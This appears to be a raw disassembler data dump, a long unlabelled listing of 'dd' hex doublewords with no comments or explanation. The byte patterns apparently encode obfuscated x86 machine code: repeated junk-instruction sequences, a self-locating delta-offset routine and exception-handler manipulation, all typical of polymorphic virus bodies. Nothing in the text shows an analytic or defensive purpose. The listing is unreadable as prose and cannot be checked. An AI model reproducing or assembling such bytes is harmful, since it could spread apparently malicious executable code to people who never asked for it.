		dd 988C488Eh, 471AB9EBh, 0FFF35FE9h, 51006AFFh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0E9ABEAC5h
		dd 0Eh,	462C1B8Ch, 44F6A37Bh, 341E4F7Ah, 0C18BCC24h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0C2C35646h, 895F1C40h
		dd 282291BDh, 41BD8906h, 8D062829h, 282C0585h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0BB5F5383h, 146D78B3h, 0EE960h, 64940000h, 0ACD5B84h
		dd 4A3C0989h, 96643E3Ah, 8498D89h, 50610628h, 8A0Fh, 4890000h
		dd 6AD98A24h, 0D99D8B00h, 6A062823h, 0D98B6600h, 9ED1858Dh
		dd 8D01062Ch, 6281ED1h,	6A05C083h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0BE97C351h
		dd 668F330Eh, 69D4E781h, 0D88B6690h, 9006B350h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 16C35242h, 8D0128F8h
		dd 6280629h, 8166006Ah,	6AF57BE7h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0FF45EE21h
		dd 28243195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 5363FC16h, 0F38D8D5Fh, 6A062B94h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0B79AC352h, 0FFFC8A76h, 66BF66D1h, 15BD83BEh
		dd 1062824h, 84850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 8FA444C3h, 0C418D89h
		dd 8D290628h, 628125Dh,	8501026Ah, 62831E5h, 50AEB790h
		dd 5190DE8Bh, 0FE8h, 869CF800h,	0BB1EAC72h, 84172320h
		dd 1BD5E16Ch, 5FFB8B66h, 0D195FF5Fh, 6A06282Ch,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 828FC351h, 0BD896AF5h, 6280959h, 102D8529h, 0D2E90628h
		dd 0E800000Dh, 0
		dd 0DBED815Dh, 6A062C9Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 24BBC350h, 973D3EA5h
		dd 11E87Fh, 0CC430000h,	0C27DF0ACh, 0FC6D9072h,	0A1282E00h
		dd 0F21CDD0h, 6A5FDEBFh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0CA93C353h,	29FC90C5h
		dd 282941B5h, 0B0858D06h, 66062B85h, 0F90DF8Bh,	88Dh, 8A525000h
		dd 5A310FDAh, 0BF665058h, 0E9901159h, 11h, 736CCEBBh, 0ABDDCCE2h
		dd 0DF48E7A7h, 0E256BB54h, 35FF6411h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0BCC35242h
		dd 25896499h, 0
		dd 165985FFh, 6A0628h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 8D89CCC3h, 6280C11h, 5B56FF6Ah
		dd 16CD9D8Bh, 0B5FF0628h, 62826BDh, 2DC195FFh, 6E90628h
		dd 8B000001h, 0A5DF80FAh, 665200B0h, 0E121E781h, 0E970E65Bh
		dd 8, 0FD78A3A5h, 0F2E4E02Ch, 858971E4h, 6281849h, 830F613Ch
		dd 0D9h, 12E8h,	166CC300h, 7F5E4376h, 0A423BF01h, 0C2B63E7Ch
		dd 0FDD733Dh, 284h, 5F616000h, 89C8B60Fh, 28128DB5h, 6BA06h
		dd 0BD8B0000h, 628294Dh, 10E9C18Bh, 0C1000000h,	3A67E065h
		dd 3FE0CDA9h, 0DF3467FAh, 0C10CE9A0h, 0BD8904E8h, 6282375h
		dd 66E2F766h, 2BE9DBBBh, 4DBD89C8h, 8B06280Eh, 8D9D8BD1h
		dd 0E9062826h, 0Ch, 7E9h, 0B05D5200h, 37F9A7DDh, 1415858Bh
		dd 8B500628h, 0C0835BFAh, 835B5207h, 950100C0h,	6280F31h
		dd 830FD03Bh, 0Bh, 38E9h, 0C5BD8B00h, 8B062807h, 282C298Dh
		dd 83FB8B06h, 840F01E1h, 21h, 2D59BD8Bh, 0A5830628h, 6282C29h
		dd 0F8BF0FFEh, 14159589h, 8D890628h, 6281141h, 0E9h, 0AB58D00h
		dd 66062BFFh, 6A8F3DBFh, 30BB6600h, 25BD8B2Eh, 0FF062826h
		dd 28046595h, 2880F06h,	8A000000h, 889B9FAh, 0E1830000h
		dd 56006AFCh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 7F1C609Dh, 0FCF0B87Fh, 66FB8B66h, 0FF82CF81h
		dd 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 100B82C3h, 11E87Dh, 8B0D0000h, 0E0B3C3BAh
		dd 0A1C94AE5h, 95741C27h, 0F0B6797h, 235BFEBFh,	2833BDBDh
		dd 0BA06h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0ADA847C3h, 0E8D1C233h, 0E983D003h
		dd 0FF47504h, 8D29F9B7h, 6282B31h, 880Dh, 0C2BF6600h, 15958B9Ch
		dd 6A062807h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 7BF5C357h, 246B9348h, 8BFA8B66h
		dd 2821BD8Dh, 8B50FC06h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	41C35242h, 8BB95A52h, 0A10AD5B6h, 0DDBD8BA2h, 89062819h
		dd 280C3995h, 0A1BD8306h, 62825h, 9C840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0E81739C3h, 8, 0B9E30D24h, 0EA078AE2h, 68A0Fh, 95290000h
		dd 6280385h, 0B85Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0FD6642C3h, 0BFF9DDFAh
		dd 4D3777A3h, 4D950160h, 8906280Ch, 2834B18Dh, 8D8D6106h
		dd 6284F6Eh, 6AE1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 39BC6DC3h, 0B92185E4h, 0BD832D40h
		dd 628113Dh, 3A840F00h,	6A000004h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 3D83C353h
		dd 156E4FCAh, 0D5BF9438h, 837A947Bh, 28113DBDh,	840F0106h
		dd 420h, 2AEF8166h, 3DBD835Fh, 3062811h, 3D8860Fh, 0FE90000h
		dd 7E000000h, 7B0C436Ch, 152A55C1h, 0A370D4DCh,	8B601B15h
		dd 282B499Dh, 0B5B58906h, 66062819h, 6AD98Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 66915CC3h
		dd 0B3A9D802h, 8D898C66h, 62814B5h, 5104E180h, 1FED9D31h
		dd 0A5B0628h, 4D840FC9h, 6A000001h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 26C1C353h
		dd 8255E96Bh, 6D9501F3h, 8B062834h, 2824C985h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0D04D30CFh, 13CDDAF9h, 45BB6648h, 8830F4Fh, 52000000h
		dd 850Fh, 335B0000h, 282D0585h,	50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 300156C8h
		dd 6B78D1AFh, 0EB81A88Bh, 7523A949h, 0E8C0F90h,	50000000h
		dd 0F5F5752h, 0F525031h, 5A585A31h, 0F9BB5058h,	90299ABDh
		dd 0F006AFCh, 0A8Eh, 5E900h, 0E5F20000h, 0E889A344h, 5
		dd 30496A40h, 0F64ABBE7h, 685F3332h, 905B74C5h,	78B0Fh
		dd 0BF500000h, 68542EEh, 2404815Fh, 6FC38F3Ah, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7EC35545h, 0E38BB472h
		dd 31FD9589h, 95FF0628h, 628176Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 8AC35545h, 0FDB2C7Eh, 8589FAB7h
		dd 62BA3FDh, 0B0E909B7h, 0BB000001h, 2328808h, 0A3F5858Bh
		dd 0D98B062Bh, 1800C7h,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0B6579DC3h, 0E91D3FB9h
		dd 0Bh,	965FD8F8h, 8AEA9A05h, 0E9C0419Fh, 13h, 4B532F79h
		dd 112D9EE8h, 3F0A331Bh, 0A5408164h, 8B04BC42h,	2BA3F9B5h
		dd 93E38106h, 8B0C896Eh, 282B6585h, 13C5BF06h, 68918CEh
		dd 6830Fh, 95890000h, 62820A9h,	24C9858Bh, 6A0628h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 1449D6C3h, 347A839Ah, 1804D60h, 2810019Dh, 6850F06h
		dd 8B000000h, 280929BDh, 4468906h, 50F98B66h, 348949B3h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 4D0CDD1Fh, 0FFF98474h, 2BA3F5B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 462EBF9Ch, 0E2685CA8h, 0E9CCE374h, 7, 3104AC40h, 816A7FA1h
		dd 8F1D2404h, 6A333Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0BB66E2C3h, 9D893B73h, 6280185h
		dd 0A3FD858Dh, 6A062Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 77655EC3h, 60C01EC3h, 0BD8960FCh
		dd 62812C9h, 2D519D01h,	61610628h, 0BB665090h, 0F90D6E4h
		dd 1184h, 0AE800h, 96CE0000h, 6255C966h, 9E657Fh, 95FF5FF5h
		dd 628176Dh, 61FE8B66h,	0DE8F88Bh, 0BD000000h, 39CD7813h
		dd 67A3BA6Bh, 6BAB2107h, 20099D8Bh, 0C75B0628h,	28113D85h
		dd 306h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0A99D8BC3h, 83062807h, 2BA3FDBDh
		dd 840F0006h, 2Ah, 3EE90DB3h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 1F97C350h
		dd 0E5C1ABA7h, 30504D91h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 6C4275C5h, 27CB2127h
		dd 6A9D96h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0FE97DC3h
		dd 0B9000000h, 78C1D43Bh, 0AB0C93FBh, 0C2F56A74h, 0A6BF463Ah
		dd 836C28E6h, 28113DBDh, 850F0306h, 4AAh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 4DC35747h, 0C781FE14h
		dd 3BF67228h, 0A3FDBD83h, 0F00062Bh, 47984h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0FFF5A3C5h, 2BA3FDB5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 89BE9809h
		dd 0E9595FFh, 6A0628h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0BB99E6C3h, 8D89B925h, 6280095h
		dd 0F25BD89h, 0B58B0628h, 62BA3F1h, 0F8DB501h, 6C70628h
		dd 10001h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	4CC35747h, 87AE380Fh, 0B750337Ch, 243489E3h, 33B59D31h
		dd 8B660628h, 0FDB5FFFBh, 89062BA3h, 28207595h,	1995FF06h
		dd 6A062820h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0E555C355h, 0A4D4F0EDh, 5D9D8BDFh
		dd 8B062834h, 2BA3F1B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 5DA3B8E8h, 0F9F49F97h
		dd 6800Fh, 95890000h, 62826A5h,	17D5858Bh, 6A0628h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 186FA9C3h, 9599D29h,	86890628h, 0C4h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 16h, 0C8C35343h, 5B564599h
		dd 6E8h, 27E0800h, 0E9B8F400h, 0Ch, 9A9447E5h, 23968503h
		dd 3C200EEDh, 45BD8B5Fh, 8B062804h, 28071595h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 79193634h, 899200F0h, 282BE995h, 4C28306h, 1D599D8Bh
		dd 50890628h, 8DF98A20h, 2BB8D985h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0B891361Ch
		dd 7D850960h, 66062823h, 0B6F1C981h, 0B8868961h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0A78BC352h, 6E987h, 41BA0000h, 81EFBD5h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 66439CC3h, 0F60FE8Bh, 1181h, 0CE900h, 0C91B0000h
		dd 0F82430F0h, 0D692D4B6h, 6661097Ah, 26CDD381h, 0A3FDB5FFh
		dd 8B66062Bh, 559D29FAh, 0FF062833h, 282CD195h,	0A98D8906h
		dd 96062825h, 10E8h, 0B2839200h, 0D7D639AEh, 6F989057h
		dd 93721791h, 0B7525055h, 50310FE5h, 5A310F52h,	5F585A58h
		dd 8F0F5250h, 0
		dd 8B60965Fh, 11E9F1h, 5D560000h, 0EB7F286Ch, 0C3F3ED26h
		dd 1CD14BBAh, 61EC9CFEh, 0A3FDB5FFh, 8166062Bh,	0E9E1EBF7h
		dd 13h,	4FDB5F33h, 9A28E1E9h, 0F059F43Fh, 98544E20h, 0FFDFCF23h
		dd 2829B995h, 0ADB52906h, 83062807h, 280C55BDh,	840F0006h
		dd 6Bh,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh
		dd 43C35646h, 1A62BEA3h, 734F8552h, 10E9D7h, 0CA380000h
		dd 296DD7FCh, 0BD6AECEDh, 7793D43Dh, 60960F91h,	11E8h
		dd 0C6D21F00h, 1A81BEE0h, 490E743Fh, 1B306D7Ch,	0D5BED700h
		dd 5E319814h, 5061EBB3h, 8820Fh, 0F530000h, 8Eh, 0FF965B00h
		dd 2BA3FDB5h, 10E806h, 16270000h, 3E587A4Fh, 0CD72A17Ah
		dd 3250C9BBh, 9D0BB57Fh, 6281A51h, 8595FF5Bh, 6A062822h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 4481C351h, 0DE8B668Fh, 0A3FDB5FFh, 6A062Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0C2A3E7C3h, 1502E528h, 85895344h, 628235Dh, 22B1BD8Bh
		dd 95FF0628h, 62810C1h,	83F88B66h, 281861BDh, 840F0206h
		dd 57h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah
		dd 0DEC35343h, 0CEBB2C5Eh, 8166736Ch, 8BE441F7h, 28125985h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0B501554Eh, 2959B589h, 0C60628h,	0C7DE8B00h
		dd 28130585h, 6, 55E9F900h, 6AFFFFF3h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0A6A7C355h
		dd 0B973D957h, 850FD2h,	8B000000h, 0C37DBBC1h, 8B6673FBh
		dd 5858DDFh, 6606282Ch,	501F41BBh, 16840F60h, 0E8000000h
		dd 10h,	98F35457h, 53951878h, 97F9609h,	7729371Ah, 489615Ah
		dd 6A80B324h, 0D5BD8B00h, 6A062831h, 7A858D00h,	6A062CAEh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 43ADC350h, 11810FDFh, 0E9000000h,	0Ch, 9006F814h
		dd 0C0AAA951h, 2052B746h, 83F3F380h, 6A05C0h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 42176C3h
		dd 0BD8BA194h, 6282E9Dh, 8E85090h, 92000000h, 0D192518Bh
		dd 0E96BA1E5h, 8, 0EB4C5AD7h, 875C60DDh, 6A905Fh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 6A6116C3h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 76DC6F6Dh, 4CD9D89h, 94BB0628h, 6A0D7392h
		dd 3195FF00h, 0E9062824h, 6, 8975F290h,	8D8D6B62h, 62B94F3h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 30C35646h
		dd 6E9h, 62449E00h, 0FFA7F198h,	83DE8BD1h, 282415BDh, 850F0106h
		dd 7Bh,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h
		dd 92C35545h, 5D23E381h, 26A2991h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0D6C35343h,	7A7137D2h, 6650EAEAh
		dd 896DF3BFh, 0BF662404h, 95FF9107h, 6282CD1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 73C35343h, 0B22F5274h
		dd 0E9F96EA2h, 0DC9h, 0E8h, 0ED815D00h,	62CAE84h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0F0C35141h, 0E162EF1Ch
		dd 199D8B73h, 6A062823h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 2C56C352h, 9C162273h
		dd 854E5384h, 14E8h, 0B3E6D200h, 0DF96A9B5h, 7A5886D2h
		dd 0DDA1DF3Bh, 99D892AEh, 38D0F75h, 0F000000h, 8D5FFAB7h
		dd 2B85B085h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 9D23D285h, 62808F5h, 50D88B66h, 489A8B3h
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 77E13E01h, 0F98B669Fh, 11859D03h, 0FF640628h
		dd 35h,	50006A00h, 3E8h, 0C3582000h, 24448958h,	24448104h
		dd 1904h, 0C3504000h, 0BE61499Dh, 23603990h, 28126D95h
		dd 3D9D8B06h, 6106281Ah, 258964h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0AA1EC350h, 7C928AFFh, 3BEF6BECh, 19890Fh, 14E90000h
		dd 0AF000000h, 61D95596h, 0AA76BF2Eh, 0E2A1CA07h, 35FA25E2h
		dd 0FF25E818h, 28165985h, 6AFF6A06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 67A0C351h
		dd 133C007Ah, 52EB1B29h, 2EC9B5FFh, 0AE90628h, 98000000h
		dd 336552BAh, 910B89ACh, 0C195FF3Bh, 0E906282Dh, 129h
		dd 0F519D89h, 0B00628h,	16B59D8Bh, 70E60628h, 0FE9h, 7BCC0000h
		dd 0F9BCAD81h, 3A336AEh, 1E9B985Ch, 11840Fh, 0CE90000h
		dd 7F000000h, 52800720h, 0D5784BC3h, 0E41994DCh, 0E8E0F71h
		dd 0E8000000h, 6, 0C53D341Dh, 5BB30AC9h, 0F613C5Bh, 0D083h
		dd 14800F00h, 60000000h, 6E8h, 7310E100h, 5A3067C6h, 2181BD8Bh
		dd 0F610628h, 0BB57C8B6h, 5BE64EC0h, 6BA5Fh, 0B0BF0000h
		dd 8B36FAE6h, 7933BBC1h, 0E8C16FBBh, 54BF6604h,	0E2F766D0h
		dd 3E8CF81h, 0C82B349Dh, 881DEB81h, 0D18B137Fh,	739BD8Bh
		dd 6E90628h, 89000000h,	2821A185h, 61858B06h, 8B06282Eh
		dd 7C083F9h, 83FE8B66h,	896000C0h, 2820E9BDh, 11858B06h
		dd 6106280Ch, 830FD03Bh, 11h, 1B98D31h,	3EE90628h, 81000000h
		dd 1CE789C3h, 0D8D8B2Dh, 0F8062820h, 0F01E183h,	2884h
		dd 8BD98B00h, 282269BDh, 0DA58306h, 0FE062820h,	0B5C78166h
		dd 398D89ADh, 89062813h, 282E6195h, 0DE8B6606h,	0E9h, 15B58D00h
		dd 0E9062C09h, 0Eh, 0C8D92A41h,	702BF620h, 30F956B0h, 6A0CB7h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 64C35747h
		dd 4857DF41h, 69D2E82Fh, 6860F7Ch, 81000000h, 2DE63ADFh
		dd 6595FF14h, 29062804h, 2823FDBDh, 365ABB06h, 1DB91D9Ch
		dd 6A000008h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0A658C356h, 6ED36532h,	41BD8B51h
		dd 66062814h, 2E90C381h, 0E8FCE183h, 0Ch, 4D8CEB9Dh, 0B1D5D7F4h
		dd 7AF66191h, 9D8BFC5Bh, 62832E9h, 0B8h, 2BD88B00h, 50006AD2h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 8A21041Ch, 830FB184h, 3, 0ADD88B66h,	0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0BF2FC352h, 724DF781h,	0BD8B262Bh
		dd 6280251h, 880Dh, 5BD8900h, 8B062800h, 28071595h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0E042A12Ah, 2DFDBD8Bh, 8D8B0628h, 62821BDh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 2FC35040h
		dd 2B1141Eh, 0DF19D89h,	8B500628h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0D6C35545h, 1584AE97h, 43875BD6h, 9589F539h
		dd 62832BDh, 25A1BD83h,	0F000628h, 3D84h, 0B800h, 0B70F0000h
		dd 0B1B589FAh, 8D062804h, 284F6E8Dh, 0DAB70F06h, 6AE1FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0E3D2EAC3h, 50C8E9D4h, 0BD83457Bh, 628113Dh,	0F9840F00h
		dd 0F000003h, 0BD83DFB7h, 628113Dh, 4840F01h, 0E9000004h
		dd 5, 733075A3h, 3DBD83E6h, 3062811h, 3B7860Fh,	6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0DC176BC3h, 995610DEh, 0BF66010Bh, 5760ED2Fh, 0F8D9509h
		dd 665F0628h, 0E180D98Ch, 52006A04h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0C2B28F4Fh
		dd 0BD89D3E1h, 6281061h, 840FC90Ah, 0E0h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 18h, 0FDC35242h, 7824B00Eh
		dd 246D9D89h, 858B0628h, 62824C9h, 6FEB8060h, 22B1BD8Bh
		dd 33610628h, 282D0585h, 0D8BF0F06h, 24048950h,	3870Fh
		dd 0BF0F0000h, 8B006ADBh, 2802BD9Dh, 4E806h, 3FF0000h
		dd 0BF66001Fh, 8B509A90h, 8B042444h, 35BF6600h,	2444897Bh
		dd 0D18B6004h, 0BF5BF66h, 6A5861h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 32E673C3h, 2AD99D8Bh
		dd 0D88B0628h, 176D95FFh, 8EBB0628h, 897F7E46h,	2BA3FD85h
		dd 3D9D3306h, 0E906280Eh, 1CDh,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 24C35646h, 0B112C6E4h, 0E6E27DD0h
		dd 0A3F5858Bh, 6A062Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0F61DABC3h, 0E1DB810Eh, 0C730B3B8h
		dd 1800h, 0DE900h, 8CA20000h, 0C0D1C77Ah, 0D4F8E2A7h, 8B8323ECh
		dd 2BA3F9B5h, 0F893B306h, 2B65858Bh, 6A0628h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 1B7DABC3h
		dd 1462E89Fh, 89988565h, 282361B5h, 6A068906h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 72B2C357h, 861F7020h, 858BAE43h, 62824C9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 63C35747h, 8733868Fh
		dd 365AE1ABh, 44689B7h,	0E850Fh, 89600000h, 281FE195h
		dd 558D8906h, 61062820h, 2267D781h, 89501719h, 6A2434h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 29536FC3h, 2819519Dh, 0B5FF5B06h, 62BA3F5h, 0DD6968F9h
		dd 830F4D0Dh, 5, 0C9F1B9BBh, 24348175h,	4D12DE96h, 1EDD9D89h
		dd 858D0628h, 62BA3FDh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 2BC35040h, 0A2EB8B9Ch, 0FB8B2D2Dh, 0E990DC8Ah
		dd 8, 0DA77B6ADh, 0C8F4509Bh, 90FFB750h, 29C1BD03h, 95FF0628h
		dd 628176Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	55C35747h, 8A9BA460h, 2933E8C6h, 2818819Dh, 6A6106h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0A36F3AC3h, 0B822F5CAh, 2B5D73BDh, 282665BDh, 3D85C706h
		dd 3062811h, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 78EBC352h, 850F8775h
		dd 6, 2625BD31h, 8B660628h, 0FDBD83D8h,	62BA3h,	57840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0D0ACACC3h, 292FAFAEh, 0BD8BB15Fh, 6283211h
		dd 0D9E78166h, 3EE930h,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 74199BC3h, 951B0370h
		dd 0C3050F4h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	6FC35141h, 79E519CAh, 0F1A88B4h, 8Fh, 3DBD8300h
		dd 3062811h, 43C850Fh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 88C572C3h, 0F9B70FA5h
		dd 0A3FDBD83h, 0F00062Bh, 40D84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0FFAA54B0h
		dd 2BA3FDB5h, 0EA80BF06h, 95FF0ACDh, 6280E95h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0EDC35141h, 1A18D7C1h
		dd 0DF1BBD50h, 7FD703BBh, 259D330Ch, 8906282Ch,	281515B5h
		dd 0F1B58B06h, 6A062BA3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 6565C355h, 2F33AECCh
		dd 4800F6Dh, 50000000h,	0BB5BFE8Bh, 1A07F4AAh, 106C7h
		dd 6A0001h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 9978FFC3h, 524743D5h, 18918D89h, 0F500628h
		dd 83h,	24348900h, 11E9h, 0C8F38400h, 3311758Ah, 0EE73B898h
		dd 7763D9E7h, 0B5FF1C61h, 62BA3FDh, 65E7BB66h, 201995FFh
		dd 6A0628h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0C203C9C3h, 0BFB5048h, 0B58B71CBh, 62BA3F1h
